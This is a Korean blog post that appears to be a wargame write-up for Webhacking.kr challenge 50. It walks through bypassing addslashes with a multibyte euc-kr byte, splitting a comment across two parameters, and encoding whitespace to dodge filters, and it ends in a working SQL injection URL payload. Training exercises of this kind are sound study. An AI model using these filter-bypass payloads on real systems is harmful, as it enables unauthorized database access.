Webhacking.kr 50번 문제풀이

동스토리 ㅣ 2021. 7. 24. 16:31

반응형

안녕하세요.

 

웹 해킹 50번 문제풀이 하겠습니다.

 

문제를 확인해보면, SQL INJECTION 관련 문제인 것을 알 수 있습니다.

 

소스코드를 확인해보겠습니다.

 

 

위 소스코드에서

 

addslashes 함수는 매개변수로 넘겨준 문자열 안에 single quote(') 혹은 double quote("), 백슬래쉬(\), NULL 바이트등 특수문자 앞에 역슬래시(\)를 추가해주는 함수입니다.

 

mb_covert_encoding 함수를 통해 id 값을 'euc-kr'에서 'utf-8'로 인코딩 해주고 있습니다.

 

또한, from, pw, 공백등 문자열이 필터링되고 id는 union이 추가적으로 필터링 되고 있습니다.

 

우리는 최종적으로 쿼리가 lv=3일때, 문제를 해결할 수 있습니다.

 

그렇다면 쿼리를 lv=3으로 만드는 방법은

 

1. select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')

id ='' and pw = md5('') 이러한 형식으로 쿼리가 전달 되므로

 

id = '/*' and pw = md5(*/'union select 3#')

 

2. select lv from chall50 where id='/*' and pw = md5(*/'union select 3#')

-> select lv from chall50 where id='union select 3#')

-> lv=3

 

근데, 여기서 공백이 필터링 되므로 %09 #은 %23으로 '(싱글쿼터)는 %aa로 우회한다.

 

최종적으로, 아래 쿼리를 URL에 입력하면 문제를 해결할 수 있습니다.

 

id=guest%a1%27/*&pw=*/union%0aselect%0a3%23

 

 

 

감사합니다.

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 49번 문제풀이  (0) 2021.07.23
Webhacking.kr 48번 문제풀이  (0) 2021.03.17
Webhacking.kr 47번 문제풀이  (0) 2021.02.23
Webhacking.kr 46번 문제풀이  (0) 2021.02.19
Webhacking.kr 45번 문제풀이  (0) 2021.02.17